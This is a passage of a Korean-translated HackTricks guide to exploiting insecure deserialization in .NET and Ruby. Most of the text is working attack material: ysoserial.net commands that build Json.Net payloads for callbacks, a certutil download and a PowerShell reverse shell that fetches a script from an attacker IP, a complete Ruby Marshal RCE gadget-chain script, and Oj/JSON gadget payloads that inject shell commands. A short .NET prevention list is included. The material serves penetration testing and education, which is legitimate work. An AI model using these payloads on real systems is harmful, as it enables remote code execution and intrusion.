  • --output는 익스플로잇을 원시 또는 base64 인코딩으로 원하는지 지정하는 데 사용됩니다. _ysoserial.net은 페이로드를 UTF-16LE인코딩하므로 (Windows에서 기본적으로 사용되는 인코딩) 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 인코딩 호환성 문제가 발생할 수 있으며, 이로 인해 익스플로잇이 제대로 작동하지 않을 수 있습니다 (HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만, 이는 항상 작동한다는 의미는 아닙니다)._

  • --plugin ysoserial.net는 ViewState와 같은 특정 프레임워크를 위한 익스플로잇을 제작하기 위한 플러그인을 지원합니다.

더 많은 ysoserial.net 매개변수

  • --minify더 작은 페이로드를 제공합니다 (가능한 경우).

  • --raf -f Json.Net -c "anything" 이는 제공된 포맷터(Json.Net인 경우)와 함께 사용할 수 있는 모든 가젯을 나타냅니다.

  • --sf xml가젯(-g)을 지정할 수 있으며, ysoserial.net는 "xml"을 포함하는 포맷터를 검색합니다 (대소문자 구분 없음).

ysoserial 예제를 통해 익스플로잇을 생성합니다:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net에는 각 익스플로잇이 어떻게 작동하는지 더 잘 이해하는 데 도움이 되는 매우 흥미로운 매개변수가 있습니다: --test 이 매개변수를 지정하면 ysoserial.net로컬에서 익스플로잇을 시도하므로 페이로드가 올바르게 작동하는지 테스트할 수 있습니다. 이 매개변수는 코드 검토 시 다음과 같은 코드 조각을 찾을 수 있기 때문에 유용합니다 ( ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

이것은 익스플로잇을 테스트하기 위해 코드가 serializersHelper.JsonNet_deserialize를 호출할 것임을 의미합니다.

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the 이전 코드는 생성된 익스플로잇에 취약합니다. 따라서 .Net 애플리케이션에서 유사한 것을 발견하면 해당 애플리케이션도 취약할 가능성이 높습니다. 따라서 --test 매개변수는 어떤 코드 조각이 ysoserial.net이 생성할 수 있는 역직렬화 익스플로잇에 취약한지 이해하는 데 도움을 줍니다.

ViewState

.Net의 __ViewState 매개변수를 악용하는 방법에 대한 이 POST를 확인하세요 임의 코드를 실행하기 위해. 만약 피해자 머신에서 사용된 비밀을 이미 알고 있다면, 코드를 실행하는 방법을 알아보려면 이 포스트를 읽으세요.

Prevention

.Net에서 역직렬화와 관련된 위험을 완화하기 위해:

  • 데이터 스트림이 객체 유형을 정의하도록 허용하지 마십시오. 가능할 경우 DataContractSerializer 또는 XmlSerializer를 사용하십시오.

  • JSON.Net의 경우 TypeNameHandlingNone으로 설정하십시오: %%%TypeNameHandling = TypeNameHandling.None%%%

  • JavaScriptTypeResolver와 함께 JavaScriptSerializer를 사용하지 마십시오.

  • 역직렬화할 수 있는 유형을 제한하십시오, System.IO.FileInfo와 같은 .Net 유형의 고유한 위험을 이해하십시오. 이는 서버 파일의 속성을 수정할 수 있어 서비스 거부 공격으로 이어질 수 있습니다.

  • 위험한 속성을 가진 유형에 주의하십시오, Value 속성이 있는 System.ComponentModel.DataAnnotations.ValidationException과 같이 악용될 수 있습니다.

  • 타입 인스턴스화를 안전하게 제어하십시오. 공격자가 역직렬화 프로세스에 영향을 미치지 않도록 하여 DataContractSerializer 또는 XmlSerializer조차도 취약하게 만들 수 있습니다.

  • BinaryFormatterJSON.Net에 대해 사용자 정의 SerializationBinder를 사용하여 화이트리스트 제어를 구현하십시오.

  • .Net 내에서 알려진 불안전한 역직렬화 가젯에 대한 정보를 유지하고 역직렬화기가 그러한 유형을 인스턴스화하지 않도록 하십시오.

  • 잠재적으로 위험한 코드를 인터넷에 접근할 수 있는 코드와 격리하여 System.Windows.Data.ObjectDataProvider와 같은 알려진 가젯을 신뢰할 수 없는 데이터 소스에 노출되지 않도록 하십시오.

References

Ruby

루비에서 직렬화는 marshal 라이브러리 내의 두 가지 메서드에 의해 용이해집니다. 첫 번째 메서드는 dump로 알려져 있으며, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 load는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이를 역직렬화라고 합니다.

직렬화된 객체를 보호하기 위해 **루비는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이를 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

루비 2.X 일반 역직렬화에서 RCE 가젯 체인 (자세한 정보는 https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Other RCE chain to exploit Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() 메서드

이 취약점 보고서에서 설명된 바와 같이, 일부 사용자로부터 비정상화된 입력이 루비 객체의 .send() 메서드에 도달하면, 이 메서드는 객체의 다른 메서드를 호출할 수 있게 해줍니다.

예를 들어, eval을 호출하고 두 번째 매개변수로 루비 코드를 전달하면 임의의 코드를 실행할 수 있습니다:

<Object>.send('eval', '<user input with Ruby code>') == RCE

게다가, **.send()**의 매개변수 중 하나만 공격자가 제어할 수 있다면, 이전 글에서 언급한 바와 같이, 인수가 필요 없는 객체의 모든 메서드나 기본값이 있는 인수를 가진 메서드를 호출할 수 있습니다. 이를 위해, 객체의 모든 메서드를 열거하여 그 요구 사항을 충족하는 흥미로운 메서드를 찾는 것이 가능합니다.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

기타 라이브러리

이 기술은 이 블로그 게시물에서 가져왔습니다.

객체를 직렬화하는 데 사용할 수 있는 다른 Ruby 라이브러리가 있으며, 따라서 불안전한 역직렬화 중에 RCE를 얻기 위해 악용될 수 있습니다. 다음 표는 이러한 라이브러리 중 일부와 역직렬화될 때 로드된 라이브러리에서 호출되는 메서드를 보여줍니다(기본적으로 RCE를 얻기 위해 악용할 함수):

라이브러리

입력 데이터

클래스 내에서 시작하는 메서드

Marshal (Ruby)

이진

_load

Oj

JSON

hash (클래스는 해시(맵)의 키로 넣어야 함)

Ox

XML

hash (클래스는 해시(맵)의 키로 넣어야 함)

Psych (Ruby)

YAML

hash (클래스는 해시(맵)의 키로 넣어야 함) init_with

JSON (Ruby)

JSON

json_create ([json_create에 대한 주석은 끝에서 참조](#table-vulnerable-sinks))

기본 예:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Oj를 악용하려고 시도한 경우, hash 함수 내에서 to_s를 호출하는 가젯 클래스를 찾을 수 있었고, 이는 spec을 호출하고, fetch_path를 호출하여 무작위 URL을 가져오도록 만들 수 있었습니다. 이는 이러한 종류의 비위생적인 역직렬화 취약점을 탐지하는 데 큰 도움이 됩니다.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}

또한, 이전 기술을 사용하면 시스템에 폴더가 생성된다는 것이 발견되었으며, 이는 다른 가젯을 악용하여 이를 완전한 RCE로 변환하기 위한 요구 사항입니다.

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

자세한 내용은 원본 게시물에서 확인하세요.

HackTricks 지원하기

Last updated